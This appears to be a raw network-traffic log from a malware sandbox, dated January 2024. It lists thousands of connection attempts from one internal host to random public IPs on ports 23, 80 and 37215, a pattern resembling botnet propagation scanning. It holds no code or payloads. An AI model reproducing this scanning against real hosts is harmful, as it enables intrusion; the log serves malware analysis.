Jan 2, 2024 06:23:51.555182934 CET	14265	23	192.168.2.23	111.98.66.70
Jan 2, 2024 06:23:51.555182934 CET	14265	23	192.168.2.23	99.187.179.58
Jan 2, 2024 06:23:51.555182934 CET	14265	23	192.168.2.23	77.190.217.17
Jan 2, 2024 06:23:51.555205107 CET	14265	23	192.168.2.23	35.44.85.101
Jan 2, 2024 06:23:51.555206060 CET	14265	23	192.168.2.23	221.119.9.159
Jan 2, 2024 06:23:51.555207014 CET	14265	23	192.168.2.23	212.239.46.121
Jan 2, 2024 06:23:51.555206060 CET	14265	23	192.168.2.23	114.235.199.113
Jan 2, 2024 06:23:51.555207014 CET	14265	23	192.168.2.23	190.159.128.6
Jan 2, 2024 06:23:51.555207014 CET	14265	23	192.168.2.23	90.218.84.147
Jan 2, 2024 06:23:51.555213928 CET	14265	23	192.168.2.23	192.121.164.101
Jan 2, 2024 06:23:51.555214882 CET	14265	23	192.168.2.23	47.144.188.188
Jan 2, 2024 06:23:51.555217981 CET	14265	23	192.168.2.23	182.164.42.255
Jan 2, 2024 06:23:51.555217981 CET	14265	23	192.168.2.23	206.189.57.6
Jan 2, 2024 06:23:51.555218935 CET	14265	23	192.168.2.23	174.95.46.229
Jan 2, 2024 06:23:51.555231094 CET	14265	23	192.168.2.23	161.22.247.0
Jan 2, 2024 06:23:51.555231094 CET	14265	23	192.168.2.23	142.2.245.153
Jan 2, 2024 06:23:51.555236101 CET	14265	23	192.168.2.23	163.134.239.150
Jan 2, 2024 06:23:51.555241108 CET	14265	23	192.168.2.23	99.119.76.175
Jan 2, 2024 06:23:51.555248022 CET	14265	23	192.168.2.23	202.203.17.26
Jan 2, 2024 06:23:51.555248022 CET	14265	23	192.168.2.23	94.193.115.112
Jan 2, 2024 06:23:51.555257082 CET	14265	23	192.168.2.23	45.6.58.230
Jan 2, 2024 06:23:51.555265903 CET	14265	23	192.168.2.23	2.15.78.143
Jan 2, 2024 06:23:51.555279970 CET	14265	23	192.168.2.23	143.251.53.52
Jan 2, 2024 06:23:51.555284023 CET	14265	23	192.168.2.23	205.201.20.130
Jan 2, 2024 06:23:51.555288076 CET	14265	23	192.168.2.23	192.183.47.116
Jan 2, 2024 06:23:51.555291891 CET	14265	23	192.168.2.23	91.100.74.74
Jan 2, 2024 06:23:51.555293083 CET	14265	23	192.168.2.23	36.235.218.134
Jan 2, 2024 06:23:51.555293083 CET	14265	23	192.168.2.23	105.209.189.233
Jan 2, 2024 06:23:51.555293083 CET	14265	23	192.168.2.23	73.242.174.199
Jan 2, 2024 06:23:51.555295944 CET	14265	23	192.168.2.23	50.178.129.209
Jan 2, 2024 06:23:51.555305958 CET	14265	23	192.168.2.23	180.61.242.198
Jan 2, 2024 06:23:51.555313110 CET	14265	23	192.168.2.23	124.240.32.221
Jan 2, 2024 06:23:51.555313110 CET	14265	23	192.168.2.23	168.16.121.121
Jan 2, 2024 06:23:51.555313110 CET	14265	23	192.168.2.23	198.249.237.196
Jan 2, 2024 06:23:51.555315971 CET	14265	23	192.168.2.23	124.80.187.203
Jan 2, 2024 06:23:51.555325031 CET	14265	23	192.168.2.23	208.198.58.23
Jan 2, 2024 06:23:51.555336952 CET	14265	23	192.168.2.23	44.84.188.181
Jan 2, 2024 06:23:51.555337906 CET	14265	23	192.168.2.23	208.191.167.30
Jan 2, 2024 06:23:51.555337906 CET	14265	23	192.168.2.23	216.207.110.251
Jan 2, 2024 06:23:51.555351973 CET	14265	23	192.168.2.23	83.68.52.74
Jan 2, 2024 06:23:51.555354118 CET	14265	23	192.168.2.23	205.98.153.123
Jan 2, 2024 06:23:51.555358887 CET	14265	23	192.168.2.23	47.64.28.76
Jan 2, 2024 06:23:51.555380106 CET	18377	80	192.168.2.23	62.188.229.66
Jan 2, 2024 06:23:51.555382013 CET	18377	80	192.168.2.23	39.192.47.212
Jan 2, 2024 06:23:51.555392981 CET	18377	80	192.168.2.23	2.216.251.195
Jan 2, 2024 06:23:51.555392981 CET	18377	80	192.168.2.23	109.91.31.42
Jan 2, 2024 06:23:51.555392981 CET	18377	80	192.168.2.23	137.187.4.2
Jan 2, 2024 06:23:51.555406094 CET	18377	80	192.168.2.23	188.141.188.40
Jan 2, 2024 06:23:51.555411100 CET	18377	80	192.168.2.23	96.53.88.48
Jan 2, 2024 06:23:51.555411100 CET	18377	80	192.168.2.23	216.58.14.131
Jan 2, 2024 06:23:51.555416107 CET	18377	80	192.168.2.23	199.148.118.143
Jan 2, 2024 06:23:51.555417061 CET	18377	80	192.168.2.23	86.104.189.44
Jan 2, 2024 06:23:51.555418015 CET	18377	80	192.168.2.23	86.245.109.247
Jan 2, 2024 06:23:51.555418015 CET	18377	80	192.168.2.23	138.15.156.161
Jan 2, 2024 06:23:51.555430889 CET	18377	80	192.168.2.23	208.151.233.235
Jan 2, 2024 06:23:51.555439949 CET	18377	80	192.168.2.23	80.40.234.6
Jan 2, 2024 06:23:51.555449963 CET	18377	80	192.168.2.23	14.117.59.228
Jan 2, 2024 06:23:51.555449963 CET	18377	80	192.168.2.23	168.80.157.215
Jan 2, 2024 06:23:51.555452108 CET	18377	80	192.168.2.23	123.31.238.193
Jan 2, 2024 06:23:51.555452108 CET	18377	80	192.168.2.23	44.30.3.246
Jan 2, 2024 06:23:51.555460930 CET	18377	80	192.168.2.23	69.179.124.64
Jan 2, 2024 06:23:51.555466890 CET	18377	80	192.168.2.23	122.168.211.27
Jan 2, 2024 06:23:51.555474997 CET	18377	80	192.168.2.23	76.108.90.4
Jan 2, 2024 06:23:51.555478096 CET	18377	80	192.168.2.23	126.4.9.17
Jan 2, 2024 06:23:51.555480957 CET	18377	80	192.168.2.23	50.186.253.186
Jan 2, 2024 06:23:51.555494070 CET	18377	80	192.168.2.23	203.155.0.12
Jan 2, 2024 06:23:51.555494070 CET	18377	80	192.168.2.23	57.42.219.109
Jan 2, 2024 06:23:51.555499077 CET	18377	80	192.168.2.23	212.44.77.114
Jan 2, 2024 06:23:51.555500984 CET	18377	80	192.168.2.23	24.210.24.139
Jan 2, 2024 06:23:51.555500984 CET	18377	80	192.168.2.23	110.243.193.175
Jan 2, 2024 06:23:51.555500984 CET	18377	80	192.168.2.23	119.125.139.184
Jan 2, 2024 06:23:51.555506945 CET	18377	80	192.168.2.23	35.16.114.255
Jan 2, 2024 06:23:51.555514097 CET	18377	80	192.168.2.23	147.77.52.217
Jan 2, 2024 06:23:51.555517912 CET	18377	80	192.168.2.23	69.134.68.71
Jan 2, 2024 06:23:51.555517912 CET	18377	80	192.168.2.23	185.210.152.212
Jan 2, 2024 06:23:51.555525064 CET	18377	80	192.168.2.23	195.100.173.64
Jan 2, 2024 06:23:51.555547953 CET	18377	80	192.168.2.23	18.193.186.46
Jan 2, 2024 06:23:51.555547953 CET	18377	80	192.168.2.23	88.141.255.112
Jan 2, 2024 06:23:51.555555105 CET	18377	80	192.168.2.23	193.115.254.108
Jan 2, 2024 06:23:51.555557966 CET	18377	80	192.168.2.23	76.251.164.232
Jan 2, 2024 06:23:51.555557966 CET	18377	80	192.168.2.23	123.179.147.214
Jan 2, 2024 06:23:51.555561066 CET	18377	80	192.168.2.23	200.238.144.196
Jan 2, 2024 06:23:51.555561066 CET	18377	80	192.168.2.23	211.198.152.5
Jan 2, 2024 06:23:51.555561066 CET	18377	80	192.168.2.23	151.155.119.170
Jan 2, 2024 06:23:51.555562973 CET	18377	80	192.168.2.23	95.171.57.122
Jan 2, 2024 06:23:51.555562019 CET	18377	80	192.168.2.23	80.90.235.44
Jan 2, 2024 06:23:51.555562973 CET	18377	80	192.168.2.23	135.193.183.163
Jan 2, 2024 06:23:51.555581093 CET	18377	80	192.168.2.23	84.109.223.82
Jan 2, 2024 06:23:51.555581093 CET	18377	80	192.168.2.23	110.109.62.68
Jan 2, 2024 06:23:51.555594921 CET	18377	80	192.168.2.23	79.130.74.54
Jan 2, 2024 06:23:51.555598974 CET	18377	80	192.168.2.23	217.210.106.7
Jan 2, 2024 06:23:51.555598021 CET	18377	80	192.168.2.23	170.199.201.187
Jan 2, 2024 06:23:51.555598021 CET	18377	80	192.168.2.23	68.164.16.130
Jan 2, 2024 06:23:51.555603981 CET	18377	80	192.168.2.23	156.201.183.80
Jan 2, 2024 06:23:51.555615902 CET	18377	80	192.168.2.23	107.66.150.71
Jan 2, 2024 06:23:51.555618048 CET	18377	80	192.168.2.23	141.190.101.112
Jan 2, 2024 06:23:51.555619001 CET	18377	80	192.168.2.23	164.166.92.242
Jan 2, 2024 06:23:51.555619001 CET	18377	80	192.168.2.23	68.110.12.48
Jan 2, 2024 06:23:51.555633068 CET	18377	80	192.168.2.23	75.26.104.24
Jan 2, 2024 06:23:51.555633068 CET	18377	80	192.168.2.23	144.77.107.174
Jan 2, 2024 06:23:51.555635929 CET	18377	80	192.168.2.23	39.61.241.114
Jan 2, 2024 06:23:51.555640936 CET	18377	80	192.168.2.23	137.38.169.62
Jan 2, 2024 06:23:51.555646896 CET	18377	80	192.168.2.23	19.33.228.84
Jan 2, 2024 06:23:51.555660009 CET	18377	80	192.168.2.23	59.150.239.27
Jan 2, 2024 06:23:51.555665970 CET	18377	80	192.168.2.23	123.238.144.216
Jan 2, 2024 06:23:51.555665970 CET	18377	80	192.168.2.23	137.114.150.103
Jan 2, 2024 06:23:51.555670977 CET	18377	80	192.168.2.23	58.57.169.248
Jan 2, 2024 06:23:51.555670977 CET	18377	80	192.168.2.23	12.110.60.200
Jan 2, 2024 06:23:51.555685043 CET	18377	80	192.168.2.23	104.113.72.245
Jan 2, 2024 06:23:51.555690050 CET	18377	80	192.168.2.23	177.205.112.76
Jan 2, 2024 06:23:51.555694103 CET	18377	80	192.168.2.23	105.217.39.41
Jan 2, 2024 06:23:51.555696011 CET	18377	80	192.168.2.23	189.156.38.56
Jan 2, 2024 06:23:51.555700064 CET	18377	80	192.168.2.23	164.156.71.33
Jan 2, 2024 06:23:51.555711031 CET	18377	80	192.168.2.23	147.103.213.81
Jan 2, 2024 06:23:51.555717945 CET	18377	80	192.168.2.23	149.92.59.157
Jan 2, 2024 06:23:51.555720091 CET	18377	80	192.168.2.23	122.141.102.236
Jan 2, 2024 06:23:51.555735111 CET	18377	80	192.168.2.23	106.24.76.9
Jan 2, 2024 06:23:51.555735111 CET	18377	80	192.168.2.23	140.189.152.107
Jan 2, 2024 06:23:51.555735111 CET	18377	80	192.168.2.23	48.215.147.237
Jan 2, 2024 06:23:51.555751085 CET	18377	80	192.168.2.23	193.29.6.159
Jan 2, 2024 06:23:51.555751085 CET	18377	80	192.168.2.23	81.244.2.192
Jan 2, 2024 06:23:51.555754900 CET	18377	80	192.168.2.23	87.176.216.187
Jan 2, 2024 06:23:51.555764914 CET	18377	80	192.168.2.23	169.183.97.3
Jan 2, 2024 06:23:51.555768013 CET	18377	80	192.168.2.23	198.29.181.244
Jan 2, 2024 06:23:51.555768013 CET	18377	80	192.168.2.23	31.224.94.83
Jan 2, 2024 06:23:51.555768013 CET	18377	80	192.168.2.23	43.211.103.250
Jan 2, 2024 06:23:51.555779934 CET	18377	80	192.168.2.23	78.250.57.157
Jan 2, 2024 06:23:51.555789948 CET	18377	80	192.168.2.23	90.162.72.250
Jan 2, 2024 06:23:51.555794954 CET	18377	80	192.168.2.23	60.82.115.155
Jan 2, 2024 06:23:51.555797100 CET	18377	80	192.168.2.23	91.236.205.140
Jan 2, 2024 06:23:51.555804968 CET	18377	80	192.168.2.23	75.30.131.2
Jan 2, 2024 06:23:51.555814028 CET	18377	80	192.168.2.23	13.20.15.9
Jan 2, 2024 06:23:51.555814981 CET	18377	80	192.168.2.23	52.106.160.55
Jan 2, 2024 06:23:51.555825949 CET	18377	80	192.168.2.23	187.68.83.121
Jan 2, 2024 06:23:51.555835009 CET	18377	80	192.168.2.23	105.92.142.27
Jan 2, 2024 06:23:51.555843115 CET	18377	80	192.168.2.23	98.222.64.19
Jan 2, 2024 06:23:51.555843115 CET	18377	80	192.168.2.23	205.78.83.140
Jan 2, 2024 06:23:51.555852890 CET	18377	80	192.168.2.23	161.200.98.188
Jan 2, 2024 06:23:51.555861950 CET	18377	80	192.168.2.23	220.231.75.122
Jan 2, 2024 06:23:51.555865049 CET	18377	80	192.168.2.23	107.49.192.185
Jan 2, 2024 06:23:51.555871010 CET	18377	80	192.168.2.23	69.192.212.123
Jan 2, 2024 06:23:51.555871010 CET	18377	80	192.168.2.23	23.232.126.35
Jan 2, 2024 06:23:51.555883884 CET	18377	80	192.168.2.23	12.223.172.207
Jan 2, 2024 06:23:51.555891037 CET	18377	80	192.168.2.23	216.2.14.167
Jan 2, 2024 06:23:51.555891037 CET	18377	80	192.168.2.23	68.129.205.207
Jan 2, 2024 06:23:51.555891991 CET	18377	80	192.168.2.23	91.94.64.133
Jan 2, 2024 06:23:51.555898905 CET	18377	80	192.168.2.23	120.107.179.32
Jan 2, 2024 06:23:51.555902004 CET	18377	80	192.168.2.23	23.177.155.112
Jan 2, 2024 06:23:51.555905104 CET	18377	80	192.168.2.23	132.37.166.16
Jan 2, 2024 06:23:51.555907011 CET	18377	80	192.168.2.23	83.157.162.137
Jan 2, 2024 06:23:51.569490910 CET	23	14265	27.198.27.5	192.168.2.23
Jan 2, 2024 06:23:51.595340967 CET	23	48568	172.65.204.212	192.168.2.23
Jan 2, 2024 06:23:51.595519066 CET	48568	23	192.168.2.23	172.65.204.212
Jan 2, 2024 06:23:51.599127054 CET	80	60990	159.69.20.60	192.168.2.23
Jan 2, 2024 06:23:51.599172115 CET	60990	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.599205971 CET	60990	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.599217892 CET	60990	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.599251032 CET	32780	80	192.168.2.23	159.69.20.60
Jan 2, 2024 06:23:51.610594034 CET	80	48094	5.133.222.136	192.168.2.23
Jan 2, 2024 06:23:51.610642910 CET	48094	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:51.610662937 CET	48094	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:51.610662937 CET	48094	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:51.610690117 CET	48116	80	192.168.2.23	5.133.222.136
Jan 2, 2024 06:23:51.618016958 CET	38570	59666	192.168.2.23	93.123.85.91
Jan 2, 2024 06:23:51.647855997 CET	80	60588	67.212.162.83	192.168.2.23
Jan 2, 2024 06:23:51.647906065 CET	60588	80	192.168.2.23	67.212.162.83
Jan 2, 2024 06:23:51.649657011 CET	80	33852	66.22.55.129	192.168.2.23
Jan 2, 2024 06:23:51.649698973 CET	33852	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.649713039 CET	33852	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.651016951 CET	80	33832	66.22.55.129	192.168.2.23
Jan 2, 2024 06:23:51.651031971 CET	80	33832	66.22.55.129	192.168.2.23
Jan 2, 2024 06:23:51.651070118 CET	80	33832	66.22.55.129	192.168.2.23
Jan 2, 2024 06:23:51.651088953 CET	33832	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.651104927 CET	33832	80	192.168.2.23	66.22.55.129
Jan 2, 2024 06:23:51.662774086 CET	80	53062	38.55.173.244	192.168.2.23
Jan 2, 2024 06:23:51.662818909 CET	53062	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.662832975 CET	53062	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.662899971 CET	80	53040	38.55.173.244	192.168.2.23
Jan 2, 2024 06:23:51.663023949 CET	80	53040	38.55.173.244	192.168.2.23
Jan 2, 2024 06:23:51.663033962 CET	80	53040	38.55.173.244	192.168.2.23
Jan 2, 2024 06:23:51.663064957 CET	53040	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.663064957 CET	53040	80	192.168.2.23	38.55.173.244
Jan 2, 2024 06:23:51.682316065 CET	80	42550	63.195.193.240	192.168.2.23
Jan 2, 2024 06:23:51.682326078 CET	80	42550	63.195.193.240	192.168.2.23
Jan 2, 2024 06:23:51.682364941 CET	42550	80	192.168.2.23	63.195.193.240
Jan 2, 2024 06:23:51.695467949 CET	80	36382	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.697026014 CET	80	36404	173.61.119.77	192.168.2.23
Jan 2, 2024 06:23:51.697073936 CET	36404	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.697073936 CET	36404	80	192.168.2.23	173.61.119.77
Jan 2, 2024 06:23:51.697364092 CET	24529	37215	192.168.2.23	156.239.106.178
Jan 2, 2024 06:23:51.697367907 CET	24529	37215	192.168.2.23	41.64.152.193
Jan 2, 2024 06:23:51.697374105 CET	24529	37215	192.168.2.23	41.192.184.44
Jan 2, 2024 06:23:51.697382927 CET	24529	37215	192.168.2.23	41.68.18.226
Jan 2, 2024 06:23:51.697384119 CET	24529	37215	192.168.2.23	156.248.16.27
Jan 2, 2024 06:23:51.697401047 CET	24529	37215	192.168.2.23	156.36.140.49
Jan 2, 2024 06:23:51.697403908 CET	24529	37215	192.168.2.23	156.171.118.126
Jan 2, 2024 06:23:51.697408915 CET	24529	37215	192.168.2.23	197.75.150.226
Jan 2, 2024 06:23:51.697417021 CET	24529	37215	192.168.2.23	156.79.175.136
Jan 2, 2024 06:23:51.697419882 CET	24529	37215	192.168.2.23	197.157.184.216
Jan 2, 2024 06:23:51.697432041 CET	24529	37215	192.168.2.23	41.40.49.123
Jan 2, 2024 06:23:51.697436094 CET	24529	37215	192.168.2.23	197.143.162.170
Jan 2, 2024 06:23:51.697443962 CET	24529	37215	192.168.2.23	156.122.198.49
Jan 2, 2024 06:23:51.697453976 CET	24529	37215	192.168.2.23	197.32.42.68
Jan 2, 2024 06:23:51.697458029 CET	24529	37215	192.168.2.23	156.196.203.157
Jan 2, 2024 06:23:51.697458029 CET	24529	37215	192.168.2.23	156.137.165.21
Jan 2, 2024 06:23:51.697472095 CET	24529	37215	192.168.2.23	41.15.108.161
Jan 2, 2024 06:23:51.697473049 CET	24529	37215	192.168.2.23	156.119.76.12
Jan 2, 2024 06:23:51.697474003 CET	24529	37215	192.168.2.23	156.49.210.96
Jan 2, 2024 06:23:51.697474003 CET	24529	37215	192.168.2.23	156.222.222.212
Jan 2, 2024 06:23:51.697477102 CET	24529	37215	192.168.2.23	197.24.68.36
Jan 2, 2024 06:23:51.697480917 CET	24529	37215	192.168.2.23	41.84.212.255
Jan 2, 2024 06:23:51.697484016 CET	24529	37215	192.168.2.23	41.154.22.177
Jan 2, 2024 06:23:51.697484970 CET	24529	37215	192.168.2.23	156.219.188.178
Jan 2, 2024 06:23:51.697504044 CET	24529	37215	192.168.2.23	156.147.234.59
Jan 2, 2024 06:23:51.697504044 CET	24529	37215	192.168.2.23	197.252.28.122
Jan 2, 2024 06:23:51.697504997 CET	24529	37215	192.168.2.23	156.156.228.183
Jan 2, 2024 06:23:51.697509050 CET	24529	37215	192.168.2.23	197.64.83.14
Jan 2, 2024 06:23:51.697513103 CET	24529	37215	192.168.2.23	156.36.169.200
Jan 2, 2024 06:23:51.697526932 CET	24529	37215	192.168.2.23	41.115.191.214
Jan 2, 2024 06:23:51.697530031 CET	24529	37215	192.168.2.23	41.125.89.94
Jan 2, 2024 06:23:51.697530031 CET	24529	37215	192.168.2.23	197.83.182.128
Jan 2, 2024 06:23:51.697530985 CET	24529	37215	192.168.2.23	197.125.196.118
Jan 2, 2024 06:23:51.697540045 CET	24529	37215	192.168.2.23	197.23.225.23
Jan 2, 2024 06:23:51.697550058 CET	24529	37215	192.168.2.23	156.110.218.125
Jan 2, 2024 06:23:51.697556973 CET	24529	37215	192.168.2.23	156.88.29.22
Jan 2, 2024 06:23:51.697561979 CET	24529	37215	192.168.2.23	41.198.53.195
Jan 2, 2024 06:23:51.697561979 CET	24529	37215	192.168.2.23	197.10.77.180
Jan 2, 2024 06:23:51.697562933 CET	24529	37215	192.168.2.23	197.19.218.15
Jan 2, 2024 06:23:51.697580099 CET	24529	37215	192.168.2.23	197.110.178.190
Jan 2, 2024 06:23:51.697582960 CET	24529	37215	192.168.2.23	41.35.1.97
Jan 2, 2024 06:23:51.697588921 CET	24529	37215	192.168.2.23	156.167.128.74
Jan 2, 2024 06:23:51.697588921 CET	24529	37215	192.168.2.23	197.252.80.134
Jan 2, 2024 06:23:51.697606087 CET	24529	37215	192.168.2.23	197.182.43.204
Jan 2, 2024 06:23:51.697613955 CET	24529	37215	192.168.2.23	41.240.196.38
Jan 2, 2024 06:23:51.697616100 CET	24529	37215	192.168.2.23	197.140.122.199
Jan 2, 2024 06:23:51.697617054 CET	24529	37215	192.168.2.23	41.161.64.89
Jan 2, 2024 06:23:51.697617054 CET	24529	37215	192.168.2.23	41.195.231.144
Jan 2, 2024 06:23:51.697618961 CET	24529	37215	192.168.2.23	197.102.113.146
Jan 2, 2024 06:23:51.697621107 CET	24529	37215	192.168.2.23	41.162.58.188
Jan 2, 2024 06:23:51.697626114 CET	24529	37215	192.168.2.23	156.225.158.2
Jan 2, 2024 06:23:51.697626114 CET	24529	37215	192.168.2.23	197.61.73.92
Jan 2, 2024 06:23:51.697628021 CET	24529	37215	192.168.2.23	197.157.156.245
Jan 2, 2024 06:23:51.697630882 CET	24529	37215	192.168.2.23	156.51.55.124
Jan 2, 2024 06:23:51.697634935 CET	24529	37215	192.168.2.23	197.128.242.95
Jan 2, 2024 06:23:51.697635889 CET	24529	37215	192.168.2.23	197.179.232.130
Jan 2, 2024 06:23:51.697637081 CET	24529	37215	192.168.2.23	156.61.112.136
Jan 2, 2024 06:23:51.697653055 CET	24529	37215	192.168.2.23	156.220.219.10
Jan 2, 2024 06:23:51.697653055 CET	24529	37215	192.168.2.23	197.207.45.12
Jan 2, 2024 06:23:51.697657108 CET	24529	37215	192.168.2.23	156.176.131.47
Jan 2, 2024 06:23:51.697674036 CET	24529	37215	192.168.2.23	156.50.55.164
Jan 2, 2024 06:23:51.697675943 CET	24529	37215	192.168.2.23	156.217.213.40
Jan 2, 2024 06:23:51.697675943 CET	24529	37215	192.168.2.23	41.101.37.81
Jan 2, 2024 06:23:51.697678089 CET	24529	37215	192.168.2.23	156.225.144.160
Jan 2, 2024 06:23:51.697693110 CET	24529	37215	192.168.2.23	156.52.249.5
Jan 2, 2024 06:23:51.697699070 CET	24529	37215	192.168.2.23	41.246.2.130
Jan 2, 2024 06:23:51.697699070 CET	24529	37215	192.168.2.23	41.51.36.176
Jan 2, 2024 06:23:51.697701931 CET	24529	37215	192.168.2.23	41.132.70.89
Jan 2, 2024 06:23:51.697710037 CET	24529	37215	192.168.2.23	41.2.173.25
Jan 2, 2024 06:23:51.697715998 CET	24529	37215	192.168.2.23	197.237.6.78
Jan 2, 2024 06:23:51.697727919 CET	24529	37215	192.168.2.23	41.13.61.168
Jan 2, 2024 06:23:51.697729111 CET	24529	37215	192.168.2.23	41.34.158.127
Jan 2, 2024 06:23:51.697730064 CET	24529	37215	192.168.2.23	156.53.107.254
Jan 2, 2024 06:23:51.697732925 CET	24529	37215	192.168.2.23	197.97.229.225
Jan 2, 2024 06:23:51.697743893 CET	24529	37215	192.168.2.23	197.132.172.121
Jan 2, 2024 06:23:51.697745085 CET	24529	37215	192.168.2.23	41.44.70.47
Jan 2, 2024 06:23:51.697753906 CET	24529	37215	192.168.2.23	197.32.141.202
Jan 2, 2024 06:23:51.697756052 CET	24529	37215	192.168.2.23	156.3.113.189
Jan 2, 2024 06:23:51.697767973 CET	24529	37215	192.168.2.23	197.93.15.181
Jan 2, 2024 06:23:51.697767973 CET	24529	37215	192.168.2.23	156.91.92.135
Jan 2, 2024 06:23:51.697767973 CET	24529	37215	192.168.2.23	197.141.155.90
Jan 2, 2024 06:23:51.697781086 CET	24529	37215	192.168.2.23	41.151.41.75
Jan 2, 2024 06:23:51.697786093 CET	24529	37215	192.168.2.23	41.29.209.207
Jan 2, 2024 06:23:51.697792053 CET	24529	37215	192.168.2.23	41.27.240.250
Jan 2, 2024 06:23:51.697799921 CET	24529	37215	192.168.2.23	156.150.150.97
Jan 2, 2024 06:23:51.697803974 CET	24529	37215	192.168.2.23	197.82.158.79
Jan 2, 2024 06:23:51.697804928 CET	24529	37215	192.168.2.23	41.41.156.75
Jan 2, 2024 06:23:51.697808981 CET	24529	37215	192.168.2.23	197.252.151.239
Jan 2, 2024 06:23:51.697818041 CET	24529	37215	192.168.2.23	156.93.50.142
Jan 2, 2024 06:23:51.697819948 CET	24529	37215	192.168.2.23	41.210.253.218
Jan 2, 2024 06:23:51.697822094 CET	24529	37215	192.168.2.23	156.241.248.241
Jan 2, 2024 06:23:51.697830915 CET	24529	37215	192.168.2.23	197.112.14.110
Jan 2, 2024 06:23:51.697833061 CET	24529	37215	192.168.2.23	41.218.159.157
Jan 2, 2024 06:23:51.697834015 CET	24529	37215	192.168.2.23	156.140.230.187
Jan 2, 2024 06:23:51.697837114 CET	24529	37215	192.168.2.23	156.201.196.182
Jan 2, 2024 06:23:51.697845936 CET	24529	37215	192.168.2.23	41.107.126.179
Jan 2, 2024 06:23:51.697846889 CET	24529	37215	192.168.2.23	197.11.146.45
Jan 2, 2024 06:23:51.697846889 CET	24529	37215	192.168.2.23	41.158.197.20
Jan 2, 2024 06:23:51.697860956 CET	24529	37215	192.168.2.23	197.1.144.77
Jan 2, 2024 06:23:51.697864056 CET	24529	37215	192.168.2.23	197.240.133.82
Jan 2, 2024 06:23:51.697869062 CET	24529	37215	192.168.2.23	197.31.184.216
Jan 2, 2024 06:23:51.697869062 CET	24529	37215	192.168.2.23	41.158.97.118
Jan 2, 2024 06:23:51.697885036 CET	24529	37215	192.168.2.23	41.26.218.255
Jan 2, 2024 06:23:51.697892904 CET	44164	37215	192.168.2.23	41.90.221.187
Jan 2, 2024 06:23:51.697992086 CET	24529	37215	192.168.2.23	197.152.132.229
Jan 2, 2024 06:23:51.697995901 CET	24529	37215	192.168.2.23	197.243.217.54
Jan 2, 2024 06:23:51.697995901 CET	24529	37215	192.168.2.23	156.188.189.229
Jan 2, 2024 06:23:51.698004007 CET	24529	37215	192.168.2.23	41.183.26.199
Jan 2, 2024 06:23:51.698005915 CET	24529	37215	192.168.2.23	41.193.206.12
Jan 2, 2024 06:23:51.698007107 CET	24529	37215	192.168.2.23	156.130.85.210
Jan 2, 2024 06:23:51.698014021 CET	24529	37215	192.168.2.23	41.246.247.177
Jan 2, 2024 06:23:51.698014975 CET	24529	37215	192.168.2.23	41.132.98.143
Jan 2, 2024 06:23:51.698014975 CET	24529	37215	192.168.2.23	156.63.241.48
Jan 2, 2024 06:23:51.698015928 CET	24529	37215	192.168.2.23	197.79.181.102
Jan 2, 2024 06:23:51.698020935 CET	24529	37215	192.168.2.23	197.254.167.207
Jan 2, 2024 06:23:51.698031902 CET	24529	37215	192.168.2.23	41.68.34.178
Jan 2, 2024 06:23:51.698031902 CET	24529	37215	192.168.2.23	197.119.64.115
Jan 2, 2024 06:23:51.698043108 CET	24529	37215	192.168.2.23	156.75.254.170
Jan 2, 2024 06:23:51.698045969 CET	24529	37215	192.168.2.23	197.165.79.49
Jan 2, 2024 06:23:51.698045969 CET	24529	37215	192.168.2.23	156.249.32.114
Jan 2, 2024 06:23:51.698066950 CET	24529	37215	192.168.2.23	156.145.102.108
Jan 2, 2024 06:23:51.698069096 CET	24529	37215	192.168.2.23	156.2.14.139
Jan 2, 2024 06:23:51.698069096 CET	24529	37215	192.168.2.23	197.215.75.96
Jan 2, 2024 06:23:51.698071003 CET	24529	37215	192.168.2.23	197.248.97.151
Jan 2, 2024 06:23:51.698071003 CET	24529	37215	192.168.2.23	197.108.132.160
Jan 2, 2024 06:23:51.698081017 CET	24529	37215	192.168.2.23	41.181.71.26
Jan 2, 2024 06:23:51.698085070 CET	24529	37215	192.168.2.23	197.244.188.53
Jan 2, 2024 06:23:51.698085070 CET	24529	37215	192.168.2.23	156.123.115.224
Jan 2, 2024 06:23:51.698097944 CET	24529	37215	192.168.2.23	197.171.241.171
Jan 2, 2024 06:23:51.698102951 CET	24529	37215	192.168.2.23	41.103.149.98
Jan 2, 2024 06:23:51.698102951 CET	24529	37215	192.168.2.23	41.85.105.88
Jan 2, 2024 06:23:51.698113918 CET	24529	37215	192.168.2.23	156.218.102.105
Jan 2, 2024 06:23:51.698117971 CET	24529	37215	192.168.2.23	156.167.175.170
Jan 2, 2024 06:23:51.698124886 CET	24529	37215	192.168.2.23	41.88.19.68
Jan 2, 2024 06:23:51.698134899 CET	24529	37215	192.168.2.23	156.236.148.239
Jan 2, 2024 06:23:51.698138952 CET	24529	37215	192.168.2.23	197.13.20.208
Jan 2, 2024 06:23:51.698148966 CET	24529	37215	192.168.2.23	197.29.191.39
Jan 2, 2024 06:23:51.698152065 CET	24529	37215	192.168.2.23	197.25.20.130
Jan 2, 2024 06:23:51.698158979 CET	24529	37215	192.168.2.23	41.127.104.35
Jan 2, 2024 06:23:51.698172092 CET	24529	37215	192.168.2.23	41.31.77.63
Jan 2, 2024 06:23:51.698178053 CET	24529	37215	192.168.2.23	156.90.52.129
Jan 2, 2024 06:23:51.698185921 CET	24529	37215	192.168.2.23	41.62.107.84
Jan 2, 2024 06:23:51.698185921 CET	24529	37215	192.168.2.23	197.152.230.172
Jan 2, 2024 06:23:51.698199987 CET	24529	37215	192.168.2.23	156.226.149.246
Jan 2, 2024 06:23:51.698201895 CET	24529	37215	192.168.2.23	197.0.49.255
Jan 2, 2024 06:23:51.698210001 CET	24529	37215	192.168.2.23	197.216.13.52
Jan 2, 2024 06:23:51.698216915 CET	24529	37215	192.168.2.23	156.15.13.90
Jan 2, 2024 06:23:51.698220968 CET	24529	37215	192.168.2.23	197.163.87.163
